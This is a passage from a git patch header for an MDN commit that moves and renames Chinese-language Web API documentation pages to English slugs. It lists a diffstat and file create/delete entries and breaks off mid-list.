From 310fd066e91f454b990372ffa30e803cc8120975 Mon Sep 17 00:00:00 2001 From: Florian Merz Date: Thu, 11 Feb 2021 12:56:40 +0100 Subject: unslug zh-cn: move --- .../zh-cn/web/api/abortcontroller/abort/index.html | 85 +++ .../api/abortcontroller/abortcontroller/index.html | 85 +++ files/zh-cn/web/api/abortcontroller/index.html | 106 ++++ .../zh-cn/web/api/ambient_light_events/index.html | 74 +++ .../api/ambientlightsensor/illuminance/index.html | 94 +++ .../web/api/ambientlightsensor/reading/index.html | 94 --- files/zh-cn/web/api/analysernode/fft/index.html | 7 - .../web/api/audiocontext/createanalyser/index.html | 154 ----- .../api/audiocontext/createbiquadfilter/index.html | 139 ----- .../web/api/audiocontext/createbuffer/index.html | 181 ------ .../api/audiocontext/createbuffersource/index.html | 150 ----- .../audiocontext/createchannelmerger/index.html | 143 ----- .../audiocontext/createchannelsplitter/index.html | 138 ----- .../api/audiocontext/createconvolver/index.html | 131 ----- .../web/api/audiocontext/createdelay/index.html | 213 ------- .../audiocontext/createscriptprocessor/index.html | 199 ------- .../api/audiocontext/createwaveshaper/index.html | 133 ----- .../web/api/audiocontext/currenttime/index.html | 112 ---- .../api/audiocontext/decodeaudiodata/index.html | 223 -------- .../web/api/audiocontext/destination/index.html | 114 ---- .../zh-cn/web/api/audiocontext/listener/index.html | 112 ---- .../audiocontext/mozaudiochanneltype/index.html | 95 --- .../web/api/audiocontext/onstatechange/index.html | 101 ---- .../web/api/audiocontext/samplerate/index.html | 112 ---- files/zh-cn/web/api/audiocontext/state/index.html | 111 ---- .../api/audionode/connect(audioparam)/index.html | 163 ------ .../api/baseaudiocontext/createanalyser/index.html | 154 +++++ .../baseaudiocontext/createbiquadfilter/index.html | 139 +++++ .../api/baseaudiocontext/createbuffer/index.html | 181 ++++++ .../baseaudiocontext/createbuffersource/index.html | 150 +++++ .../createchannelmerger/index.html | 143 +++++ .../createchannelsplitter/index.html | 138 +++++ .../baseaudiocontext/createconvolver/index.html | 131 +++++ .../api/baseaudiocontext/createdelay/index.html | 213 +++++++ .../createscriptprocessor/index.html | 199 +++++++ .../baseaudiocontext/createwaveshaper/index.html | 133 +++++ .../api/baseaudiocontext/currenttime/index.html | 112 ++++ .../baseaudiocontext/decodeaudiodata/index.html | 223 ++++++++ .../api/baseaudiocontext/destination/index.html | 114 ++++ .../web/api/baseaudiocontext/listener/index.html | 112 ++++ .../api/baseaudiocontext/onstatechange/index.html | 101 ++++ .../web/api/baseaudiocontext/samplerate/index.html | 112 ++++ .../web/api/baseaudiocontext/state/index.html | 111 ++++ .../api/broadcastchannel/message_event/index.html | 167 ++++++ .../drawing_graphics_with_canvas/index.html | 163 ------ .../web/api/canvascapturemediastream/index.html | 103 ---- .../api/canvascapturemediastreamtrack/index.html | 103 ++++ .../using_channel_messaging/index.html | 179 ++++++ .../index.html" | 179 ------ .../web/api/crypto/getrandomvalues/index.html | 77 +++ files/zh-cn/web/api/cssmatrix/index.html | 94 --- files/zh-cn/web/api/csspagerule/index.html | 65 +++ .../index.html" | 65 --- files/zh-cn/web/api/deviceacceleration/index.html | 47 -- .../devicelightevent/using_light_events/index.html | 74 --- .../api/devicemotioneventacceleration/index.html | 47 ++ .../simple_document.cookie_framework/index.html | 218 ------- .../web/api/document/elementfrompoint/index.html | 45 -- .../web/api/document/elementsfrompoint/index.html | 129 ----- files/zh-cn/web/api/document/fullscreen/index.html | 108 ++++ .../web/api/document/fullscreenenabled/index.html | 82 +++ .../zh-cn/web/api/document/getselection/index.html | 15 - .../web/api/document/inputencoding/index.html | 21 - .../web/api/document/mozfullscreen/index.html | 108 ---- .../api/document/mozfullscreenelement/index.html | 77 --- .../api/document/mozfullscreenenabled/index.html | 82 --- .../api/document/onafterscriptexecute/index.html | 44 ++ .../web/api/document/pointerlockelement/index.html | 105 ---- .../api/document/readystatechange_event/index.html | 149 +++++ .../web/api/document/rouchmove_event/index.html | 171 ------ .../zh-cn/web/api/document/stylesheets/index.html | 26 - .../web/api/document/touchmove_event/index.html | 171 ++++++ .../api/document_object_model/preface/index.html | 52 -- .../index.html | 338 +++++++++++ .../fullscreenelement/index.html | 77 +++ .../pointerlockelement/index.html | 105 ++++ files/zh-cn/web/api/element/accesskey/index.html | 23 - .../web/api/element/activate_event/index.html | 108 ---- .../element/afterscriptexecute_event/index.html | 57 ++ .../element/beforescriptexecute_event/index.html | 57 ++ files/zh-cn/web/api/element/blur_event/index.html | 150 +++++ .../api/element/compositionend_event/index.html | 146 +++++ .../api/element/compositionstart_event/index.html | 152 +++++ .../api/element/compositionupdate_event/index.html | 145 +++++ files/zh-cn/web/api/element/copy_event/index.html | 164 ++++++ files/zh-cn/web/api/element/cut_event/index.html | 159 ++++++ .../web/api/element/domactivate_event/index.html | 108 ++++ files/zh-cn/web/api/element/error_event/index.html | 135 +++++ files/zh-cn/web/api/element/focus_event/index.html | 137 +++++ .../web/api/element/focusout_event/index.html | 125 ++++ .../web/api/element/mousewheel_event/index.html | 181 ++++++ files/zh-cn/web/api/element/name/index.html | 71 --- .../api/element/onafterscriptexecute/index.html | 44 -- .../web/api/element/ongotpointercapture/index.html | 143 ----- files/zh-cn/web/api/element/paste_event/index.html | 103 ++++ .../web/api/elementcssinlinestyle/style/index.html | 80 +++ files/zh-cn/web/api/entity/index.html | 52 -- files/zh-cn/web/api/event.altkey/index.html | 44 -- files/zh-cn/web/api/event.button/index.html | 82 --- files/zh-cn/web/api/event.relatedtarget/index.html | 124 ---- files/zh-cn/web/api/event.shiftkey/index.html | 41 -- files/zh-cn/web/api/event/cancelbubble/index.html | 93 +++ files/zh-cn/web/api/event/createevent/index.html | 35 -- files/zh-cn/web/api/event/deeppath/index.html | 90 --- .../index.html" | 93 --- files/zh-cn/web/api/eventsource/close/index.html | 138 +++++ .../web/api/eventsource/eventsource/index.html | 149 +++++ files/zh-cn/web/api/eventsource/index.html | 155 +++++ files/zh-cn/web/api/eventsource/onerror/index.html | 122 ++++ files/zh-cn/web/api/eventsource/onopen/index.html | 123 ++++ .../web/api/eventtarget/attachevent/index.html | 9 - .../web/api/eventtarget/detachevent/index.html | 97 ---- .../zh-cn/web/api/eventtarget/fireevent/index.html | 93 --- .../zh-cn/web/api/fetchcontroller/abort/index.html | 85 --- .../api/fetchcontroller/abortcontroller/index.html | 85 --- files/zh-cn/web/api/fetchcontroller/index.html | 106 ---- files/zh-cn/web/api/fetchobserver/index.html | 145 ----- .../introduction/index.html | 210 +++++++ .../web/api/filereader/abort_event/index.html | 175 ++++++ .../index.html" | 175 ------ files/zh-cn/web/api/formdata/delete/index.html | 71 +++ .../formdata/\345\210\240\351\231\244/index.html" | 71 --- .../zh-cn/web/api/fullscreen_api/guide/index.html | 235 ++++++++ .../\346\214\207\345\215\227/index.html" | 235 -------- .../api/geolocation/using_geolocation/index.html | 303 ---------- files/zh-cn/web/api/geolocation_api/index.html | 303 ++++++++++ .../api/geolocationposition/timestamp/index.html | 49 ++ .../index.html" | 49 -- .../globaleventhanders.ontouchmove/index.html | 125 ---- .../ondurationchange/index.html | 52 ++ .../index.html" | 52 -- .../web/api/htmlanchorelement/referrer/index.html | 116 ---- .../htmlanchorelement/referrerpolicy/index.html | 116 ++++ .../api/htmlcanvaselement/capturestream/index.html | 122 ++++ .../index.html" | 122 ---- .../zh-cn/web/api/htmlelement/accesskey/index.html | 23 + .../api/htmlelement/animationend_event/index.html | 92 +++ .../htmlelement/animationstart_event/index.html | 89 +++ files/zh-cn/web/api/htmlelement/blur/index.html | 24 - .../web/api/htmlelement/change_event/index.html | 124 ++++ files/zh-cn/web/api/htmlelement/dataset/index.html | 123 ---- files/zh-cn/web/api/htmlelement/focus/index.html | 158 ----- .../zh-cn/web/api/htmlelement/innertext/index.html | 92 +++ .../web/api/htmlelement/input_event/index.html | 157 +++++ files/zh-cn/web/api/htmlelement/nonce/index.html | 60 -- files/zh-cn/web/api/htmlelement/style/index.html | 80 --- .../zh-cn/web/api/htmlelement/tabindex/index.html | 49 -- .../api/htmlelement/transitionend_event/index.html | 132 +++++ .../api/htmlhyperlinkelementutils/hash/index.html | 109 ++++ .../api/htmlhyperlinkelementutils/href/index.html | 108 ++++ .../web/api/htmlhyperlinkelementutils/index.html | 83 +++ .../htmlhyperlinkelementutils/origin/index.html | 116 ++++ .../htmlhyperlinkelementutils/password/index.html | 104 ++++ .../htmlhyperlinkelementutils/pathname/index.html | 110 ++++ .../htmlhyperlinkelementutils/search/index.html | 116 ++++ .../htmlhyperlinkelementutils/tostring/index.html | 110 ++++ .../htmlhyperlinkelementutils/username/index.html | 102 ++++ .../mozsetfilenamearray/index.html | 49 -- .../web/api/htmlorforeignelement/blur/index.html | 24 + .../api/htmlorforeignelement/dataset/index.html | 123 ++++ .../web/api/htmlorforeignelement/focus/index.html | 158 +++++ .../web/api/htmlorforeignelement/nonce/index.html | 60 ++ .../api/htmlorforeignelement/tabindex/index.html | 49 ++ files/zh-cn/web/api/index/index.html | 6 + .../timing_element_visibility/index.html | 562 ++++++++++++++++++ .../index.html" | 562 ------------------ .../zh-cn/web/api/mediastream.addtrack/index.html | 122 ---- .../zh-cn/web/api/mediastream/addtrack/index.html | 122 ++++ files/zh-cn/web/api/msselection/index.html | 103 ---- files/zh-cn/web/api/namelist/index.html | 48 -- .../zh-cn/web/api/navigatorgeolocation/index.html | 105 ---- .../index.html" | 38 -- files/zh-cn/web/api/node/baseuriobject/index.html | 19 - files/zh-cn/web/api/node/innertext/index.html | 92 --- files/zh-cn/web/api/node/nodeprincipal/index.html | 19 - files/zh-cn/web/api/node/outertext/index.html | 9 - files/zh-cn/web/api/node/rootnode/index.html | 115 ---- files/zh-cn/web/api/notification/sound/index.html | 129 ----- .../using_web_notifications/index.html | 292 ---------- .../using_the_notifications_api/index.html | 292 ++++++++++ .../api/offlineaudiocontext/complete/index.html | 81 --- .../offlineaudiocontext/complete_event/index.html | 81 +++ .../api/payment_request_api/concepts/index.html | 128 +++++ files/zh-cn/web/api/payment_request_api/index.html | 136 +++++ files/zh-cn/web/api/performance/memory/index.html | 42 ++ .../\345\206\205\345\255\230/index.html" | 42 -- files/zh-cn/web/api/pointer_lock_api/index.html | 267 +++++++++ .../web/api/push_api/using_the_push_api/index.html | 424 -------------- .../api/randomsource/getrandomvalues/index.html | 77 --- files/zh-cn/web/api/randomsource/index.html | 107 ---- files/zh-cn/web/api/response/clone/index.html | 143 +++++ .../response/\345\205\213\351\232\206/index.html" | 143 ----- .../icecandidate_event/index.html | 135 +++++ .../using_screen_capture/index.html | 355 ++++++++++++ .../index.html" | 355 ------------ .../api/selection/deletefromdocument/index.html | 107 ++++ .../index.html" | 107 ---- files/zh-cn/web/api/server-sent_events/index.html | 77 +++ .../using_server-sent_events/index.html | 190 ++++++ files/zh-cn/web/api/slotable/index.html | 48 -- files/zh-cn/web/api/speechrecognition/index.html | 153 +++++ .../api/speechrecognition/result_event/index.html | 83 +++ .../zh-cn/web/api/storage/localstorage/index.html | 136 ----- .../zh-cn/web/api/streams_api/concepts/index.html | 118 ++++ .../streams_api/using_readable_streams/index.html | 307 ++++++++++ .../index.html" | 307 ---------- .../\346\246\202\345\277\265/index.html" | 118 ---- files/zh-cn/web/api/textrange/text/index.html | 72 --- files/zh-cn/web/api/uievent/view/index.html | 52 ++ .../uievent/\350\247\206\345\233\276/index.html" | 52 -- files/zh-cn/web/api/url/password/index.html | 57 ++ .../api/url/\345\257\206\347\240\201/index.html" | 57 -- files/zh-cn/web/api/urlutils/hash/index.html | 109 ---- files/zh-cn/web/api/urlutils/href/index.html | 108 ---- files/zh-cn/web/api/urlutils/index.html | 83 --- files/zh-cn/web/api/urlutils/origin/index.html | 116 ---- files/zh-cn/web/api/urlutils/password/index.html | 104 ---- files/zh-cn/web/api/urlutils/pathname/index.html | 110 ---- files/zh-cn/web/api/urlutils/search/index.html | 116 ---- files/zh-cn/web/api/urlutils/tostring/index.html | 110 ---- files/zh-cn/web/api/urlutils/username/index.html | 102 ---- .../api/web_audio_api/best_practices/index.html | 100 ++++ .../index.html" | 100 ---- .../structured_clone_algorithm/index.html | 108 ++++ .../webglrenderingcontext/polygonoffset/index.html | 76 +++ .../index.html" | 76 --- .../web/api/webrtc_api/architecture/index.html | 18 - files/zh-cn/web/api/webrtc_api/overview/index.html | 23 - .../web/api/webrtc_api/session_lifetime/index.html | 88 +++ .../web/api/webrtc_api/webrtc_basics/index.html | 263 --------- .../zh-cn/web/api/websocket/binarytype/index.html | 56 ++ .../index.html" | 56 -- .../websocket_server_vb.net/index.html | 270 --------- .../web/api/window/afterprint_event/index.html | 102 ++++ .../web/api/window/beforeprint_event/index.html | 100 ++++ .../web/api/window/beforeunload_event/index.html | 104 ++++ files/zh-cn/web/api/window/blur/index.html | 39 ++ .../zh-cn/web/api/window/clearinterval/index.html | 74 --- .../api/window/domcontentloaded_event/index.html | 128 +++++ files/zh-cn/web/api/window/getattention/index.html | 33 -- files/zh-cn/web/api/window/load_event/index.html | 161 ++++++ .../zh-cn/web/api/window/onbeforeunload/index.html | 111 ---- files/zh-cn/web/api/window/onhashchange/index.html | 124 ---- files/zh-cn/web/api/window/onmouseup/index.html | 43 -- files/zh-cn/web/api/window/onpopstate/index.html | 68 --- files/zh-cn/web/api/window/onscroll/index.html | 54 -- files/zh-cn/web/api/window/onunload/index.html | 69 --- .../zh-cn/web/api/window/pageshow_event/index.html | 143 +++++ files/zh-cn/web/api/window/restore/index.html | 17 - files/zh-cn/web/api/window/setinterval/index.html | 635 --------------------- files/zh-cn/web/api/window/settimeout/index.html | 476 --------------- .../api/window/unhandledrejection_event/index.html | 118 ++++ files/zh-cn/web/api/window/unload_event/index.html | 125 ++++ files/zh-cn/web/api/window/url/index.html | 105 ---- .../zh-cn/web/api/window/window.blur()/index.html | 39 -- files/zh-cn/web/api/windowbase64/atob/index.html | 78 --- .../base64_encoding_and_decoding/index.html | 605 -------------------- files/zh-cn/web/api/windowbase64/btoa/index.html | 171 ------ .../windoweventhandlers/onbeforeunload/index.html | 111 ++++ .../windoweventhandlers/onhashchange/index.html | 124 ++++ .../api/windoweventhandlers/onpopstate/index.html | 68 +++ .../api/windoweventhandlers/onunload/index.html | 69 +++ .../api/windoworworkerglobalscope/atob/index.html | 78 +++ .../api/windoworworkerglobalscope/btoa/index.html | 171 ++++++ .../clearinterval/index.html | 74 +++ .../cleartimeout/index.html | 150 +++++ .../setinterval/index.html | 635 +++++++++++++++++++++ .../settimeout/index.html | 476 +++++++++++++++ .../web/api/windowtimers/cleartimeout/index.html | 150 ----- .../api/xmlhttprequest/loadend_event/index.html | 89 +++ .../api/xmlhttprequest/loadstart_event/index.html | 91 +++ .../api/xmlhttprequest/progress_event/index.html | 146 +++++ files/zh-cn/web/api/xmlserializer/index.html | 92 +++ .../web/api/\346\214\207\346\225\260/index.html" | 6 - .../concepts/index.html" | 128 ----- .../index.html" | 136 ----- .../index.html" | 153 ----- .../result_event/index.html" | 83 --- 278 files changed, 17950 insertions(+), 16861 deletions(-) create mode 100644 files/zh-cn/web/api/abortcontroller/abort/index.html create mode 100644 files/zh-cn/web/api/abortcontroller/abortcontroller/index.html create mode 100644 files/zh-cn/web/api/abortcontroller/index.html create mode 100644 files/zh-cn/web/api/ambient_light_events/index.html create mode 100644 files/zh-cn/web/api/ambientlightsensor/illuminance/index.html delete mode 100644 files/zh-cn/web/api/ambientlightsensor/reading/index.html delete mode 100644 files/zh-cn/web/api/analysernode/fft/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createanalyser/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createbiquadfilter/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createbuffer/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createbuffersource/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createchannelmerger/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createchannelsplitter/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createconvolver/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createdelay/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createscriptprocessor/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/createwaveshaper/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/currenttime/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/decodeaudiodata/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/destination/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/listener/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/mozaudiochanneltype/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/onstatechange/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/samplerate/index.html delete mode 100644 files/zh-cn/web/api/audiocontext/state/index.html delete mode 100644 files/zh-cn/web/api/audionode/connect(audioparam)/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createanalyser/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createbiquadfilter/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createbuffer/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createbuffersource/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createchannelmerger/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createchannelsplitter/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createconvolver/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createdelay/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createscriptprocessor/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/createwaveshaper/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/currenttime/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/decodeaudiodata/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/destination/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/listener/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/onstatechange/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/samplerate/index.html create mode 100644 files/zh-cn/web/api/baseaudiocontext/state/index.html create mode 100644 files/zh-cn/web/api/broadcastchannel/message_event/index.html delete mode 100644 files/zh-cn/web/api/canvas_api/drawing_graphics_with_canvas/index.html delete mode 100644 files/zh-cn/web/api/canvascapturemediastream/index.html create mode 100644 files/zh-cn/web/api/canvascapturemediastreamtrack/index.html create mode 100644 files/zh-cn/web/api/channel_messaging_api/using_channel_messaging/index.html delete mode 100644 "files/zh-cn/web/api/channel_messaging_api/\344\275\277\347\224\250_channel_messaging/index.html" create mode 100644 files/zh-cn/web/api/crypto/getrandomvalues/index.html delete mode 100644 files/zh-cn/web/api/cssmatrix/index.html create mode 100644 files/zh-cn/web/api/csspagerule/index.html delete mode 100644 "files/zh-cn/web/api/css\345\210\206\351\241\265\350\247\204\345\210\231/index.html" delete mode 100644 files/zh-cn/web/api/deviceacceleration/index.html delete mode 100644 files/zh-cn/web/api/devicelightevent/using_light_events/index.html create mode 100644 files/zh-cn/web/api/devicemotioneventacceleration/index.html delete mode 100644 files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html delete mode 100644 files/zh-cn/web/api/document/elementfrompoint/index.html delete mode 100644 files/zh-cn/web/api/document/elementsfrompoint/index.html create mode 100644 files/zh-cn/web/api/document/fullscreen/index.html create mode 100644 files/zh-cn/web/api/document/fullscreenenabled/index.html delete mode 100644 files/zh-cn/web/api/document/getselection/index.html delete mode 100644 files/zh-cn/web/api/document/inputencoding/index.html delete mode 100644 files/zh-cn/web/api/document/mozfullscreen/index.html delete mode 100644 files/zh-cn/web/api/document/mozfullscreenelement/index.html delete mode 100644 files/zh-cn/web/api/document/mozfullscreenenabled/index.html create mode 100644 files/zh-cn/web/api/document/onafterscriptexecute/index.html delete mode 100644 files/zh-cn/web/api/document/pointerlockelement/index.html create mode 100644 files/zh-cn/web/api/document/readystatechange_event/index.html delete mode 100644 files/zh-cn/web/api/document/rouchmove_event/index.html delete mode 100644 files/zh-cn/web/api/document/stylesheets/index.html create mode 100644 files/zh-cn/web/api/document/touchmove_event/index.html delete mode 100644 files/zh-cn/web/api/document_object_model/preface/index.html create mode 100644 files/zh-cn/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.html create mode 100644 files/zh-cn/web/api/documentorshadowroot/fullscreenelement/index.html create mode 100644 files/zh-cn/web/api/documentorshadowroot/pointerlockelement/index.html delete mode 100644 files/zh-cn/web/api/element/accesskey/index.html delete mode 100644 files/zh-cn/web/api/element/activate_event/index.html create mode 100644 files/zh-cn/web/api/element/afterscriptexecute_event/index.html create mode 100644 files/zh-cn/web/api/element/beforescriptexecute_event/index.html create mode 100644 files/zh-cn/web/api/element/blur_event/index.html create mode 100644 files/zh-cn/web/api/element/compositionend_event/index.html create mode 100644 files/zh-cn/web/api/element/compositionstart_event/index.html create mode 100644 files/zh-cn/web/api/element/compositionupdate_event/index.html create mode 100644 files/zh-cn/web/api/element/copy_event/index.html create mode 100644 files/zh-cn/web/api/element/cut_event/index.html create mode 100644 files/zh-cn/web/api/element/domactivate_event/index.html create mode 100644 files/zh-cn/web/api/element/error_event/index.html create mode 100644 files/zh-cn/web/api/element/focus_event/index.html create mode 100644 files/zh-cn/web/api/element/focusout_event/index.html create mode 100644 files/zh-cn/web/api/element/mousewheel_event/index.html delete mode 100644 files/zh-cn/web/api/element/name/index.html delete mode 100644 files/zh-cn/web/api/element/onafterscriptexecute/index.html delete mode 100644 files/zh-cn/web/api/element/ongotpointercapture/index.html create mode 100644 files/zh-cn/web/api/element/paste_event/index.html create mode 100644 files/zh-cn/web/api/elementcssinlinestyle/style/index.html delete mode 100644 files/zh-cn/web/api/entity/index.html delete mode 100644 files/zh-cn/web/api/event.altkey/index.html delete mode 100644 files/zh-cn/web/api/event.button/index.html delete mode 100644 files/zh-cn/web/api/event.relatedtarget/index.html delete mode 100644 files/zh-cn/web/api/event.shiftkey/index.html create mode 100644 files/zh-cn/web/api/event/cancelbubble/index.html delete mode 100644 files/zh-cn/web/api/event/createevent/index.html delete mode 100644 files/zh-cn/web/api/event/deeppath/index.html delete mode 100644 "files/zh-cn/web/api/event/\347\246\201\347\224\250\346\227\266\351\227\264\345\206\222\346\263\241/index.html" create mode 100644 files/zh-cn/web/api/eventsource/close/index.html create mode 100644 files/zh-cn/web/api/eventsource/eventsource/index.html create mode 100644 files/zh-cn/web/api/eventsource/index.html create mode 100644 files/zh-cn/web/api/eventsource/onerror/index.html create mode 100644 files/zh-cn/web/api/eventsource/onopen/index.html delete mode 100644 files/zh-cn/web/api/eventtarget/attachevent/index.html delete mode 100644 files/zh-cn/web/api/eventtarget/detachevent/index.html delete mode 100644 files/zh-cn/web/api/eventtarget/fireevent/index.html delete mode 100644 files/zh-cn/web/api/fetchcontroller/abort/index.html delete mode 100644 files/zh-cn/web/api/fetchcontroller/abortcontroller/index.html delete mode 100644 files/zh-cn/web/api/fetchcontroller/index.html delete mode 100644 files/zh-cn/web/api/fetchobserver/index.html create mode 100644 files/zh-cn/web/api/file_and_directory_entries_api/introduction/index.html create mode 100644 files/zh-cn/web/api/filereader/abort_event/index.html delete mode 100644 "files/zh-cn/web/api/filereader/\344\270\255\346\255\242\344\272\213\344\273\266(abort)/index.html" create mode 100644 files/zh-cn/web/api/formdata/delete/index.html delete mode 100644 "files/zh-cn/web/api/formdata/\345\210\240\351\231\244/index.html" create mode 100644 files/zh-cn/web/api/fullscreen_api/guide/index.html delete mode 100644 "files/zh-cn/web/api/fullscreen_api/\346\214\207\345\215\227/index.html" delete mode 100644 files/zh-cn/web/api/geolocation/using_geolocation/index.html create mode 100644 files/zh-cn/web/api/geolocation_api/index.html create mode 100644 files/zh-cn/web/api/geolocationposition/timestamp/index.html delete mode 100644 "files/zh-cn/web/api/geolocationposition/\350\216\267\345\217\226\350\257\245\344\275\215\347\275\256\346\227\266\347\232\204\346\227\266\351\227\264\346\210\263/index.html" delete mode 100644 files/zh-cn/web/api/globaleventhandlers/globaleventhanders.ontouchmove/index.html create mode 100644 files/zh-cn/web/api/globaleventhandlers/ondurationchange/index.html delete mode 100644 "files/zh-cn/web/api/globaleventhandlers/\346\227\266\351\225\277\346\224\271\345\217\230/index.html" delete mode 100644 files/zh-cn/web/api/htmlanchorelement/referrer/index.html create mode 100644 files/zh-cn/web/api/htmlanchorelement/referrerpolicy/index.html create mode 100644 files/zh-cn/web/api/htmlcanvaselement/capturestream/index.html delete mode 100644 "files/zh-cn/web/api/htmlcanvaselement/\346\215\225\350\216\267\346\265\201/index.html" create mode 100644 files/zh-cn/web/api/htmlelement/accesskey/index.html create mode 100644 files/zh-cn/web/api/htmlelement/animationend_event/index.html create mode 100644 files/zh-cn/web/api/htmlelement/animationstart_event/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/blur/index.html create mode 100644 files/zh-cn/web/api/htmlelement/change_event/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/dataset/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/focus/index.html create mode 100644 files/zh-cn/web/api/htmlelement/innertext/index.html create mode 100644 files/zh-cn/web/api/htmlelement/input_event/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/nonce/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/style/index.html delete mode 100644 files/zh-cn/web/api/htmlelement/tabindex/index.html create mode 100644 files/zh-cn/web/api/htmlelement/transitionend_event/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/hash/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/href/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/origin/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/password/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/pathname/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/search/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/tostring/index.html create mode 100644 files/zh-cn/web/api/htmlhyperlinkelementutils/username/index.html delete mode 100644 files/zh-cn/web/api/htmlinputelement/mozsetfilenamearray/index.html create mode 100644 files/zh-cn/web/api/htmlorforeignelement/blur/index.html create mode 100644 files/zh-cn/web/api/htmlorforeignelement/dataset/index.html create mode 100644 files/zh-cn/web/api/htmlorforeignelement/focus/index.html create mode 100644 files/zh-cn/web/api/htmlorforeignelement/nonce/index.html create mode 100644 files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html create mode 100644 files/zh-cn/web/api/index/index.html create mode 100644 files/zh-cn/web/api/intersection_observer_api/timing_element_visibility/index.html delete mode 100644 "files/zh-cn/web/api/intersection_observer_api/\347\202\271\350\247\202\345\257\237\350\200\205api\347\232\204\346\227\266\345\272\217\345\205\203\347\264\240\345\217\257\350\247\201\346\200\247/index.html" delete mode 100644 files/zh-cn/web/api/mediastream.addtrack/index.html create mode 100644 files/zh-cn/web/api/mediastream/addtrack/index.html delete mode 100644 files/zh-cn/web/api/msselection/index.html delete mode 100644 files/zh-cn/web/api/namelist/index.html delete mode 100644 files/zh-cn/web/api/navigatorgeolocation/index.html delete mode 100644 "files/zh-cn/web/api/navigatorplugins/\346\265\213\350\257\225\346\273\225\347\233\226/index.html" delete mode 100644 files/zh-cn/web/api/node/baseuriobject/index.html delete mode 100644 files/zh-cn/web/api/node/innertext/index.html delete mode 100644 files/zh-cn/web/api/node/nodeprincipal/index.html delete mode 100644 files/zh-cn/web/api/node/outertext/index.html delete mode 100644 files/zh-cn/web/api/node/rootnode/index.html delete mode 100644 files/zh-cn/web/api/notification/sound/index.html delete mode 100644 files/zh-cn/web/api/notification/using_web_notifications/index.html create mode 100644 files/zh-cn/web/api/notifications_api/using_the_notifications_api/index.html delete mode 100644 files/zh-cn/web/api/offlineaudiocontext/complete/index.html create mode 100644 files/zh-cn/web/api/offlineaudiocontext/complete_event/index.html create mode 100644 files/zh-cn/web/api/payment_request_api/concepts/index.html create mode 100644 files/zh-cn/web/api/payment_request_api/index.html create mode 100644 files/zh-cn/web/api/performance/memory/index.html delete mode 100644 "files/zh-cn/web/api/performance/\345\206\205\345\255\230/index.html" create mode 100644 files/zh-cn/web/api/pointer_lock_api/index.html delete mode 100644 files/zh-cn/web/api/push_api/using_the_push_api/index.html delete mode 100644 files/zh-cn/web/api/randomsource/getrandomvalues/index.html delete mode 100644 files/zh-cn/web/api/randomsource/index.html create mode 100644 files/zh-cn/web/api/response/clone/index.html delete mode 100644 "files/zh-cn/web/api/response/\345\205\213\351\232\206/index.html" create mode 100644 files/zh-cn/web/api/rtcpeerconnection/icecandidate_event/index.html create mode 100644 files/zh-cn/web/api/screen_capture_api/using_screen_capture/index.html delete mode 100644 "files/zh-cn/web/api/screen_capture_api/\344\275\277\347\224\250\345\261\217\345\271\225\346\215\225\350\216\267api/index.html" create mode 100644 files/zh-cn/web/api/selection/deletefromdocument/index.html delete mode 100644 "files/zh-cn/web/api/selection/\344\273\216document\344\270\255\345\210\240\351\231\244/index.html" create mode 100644 files/zh-cn/web/api/server-sent_events/index.html create mode 100644 files/zh-cn/web/api/server-sent_events/using_server-sent_events/index.html delete mode 100644 files/zh-cn/web/api/slotable/index.html create mode 100644 files/zh-cn/web/api/speechrecognition/index.html create mode 100644 files/zh-cn/web/api/speechrecognition/result_event/index.html delete mode 100644 files/zh-cn/web/api/storage/localstorage/index.html create mode 100644 files/zh-cn/web/api/streams_api/concepts/index.html create mode 100644 files/zh-cn/web/api/streams_api/using_readable_streams/index.html delete mode 100644 "files/zh-cn/web/api/streams_api/\344\275\277\347\224\250\345\217\257\350\257\273\346\226\207\344\273\266\346\265\201/index.html" delete mode 100644 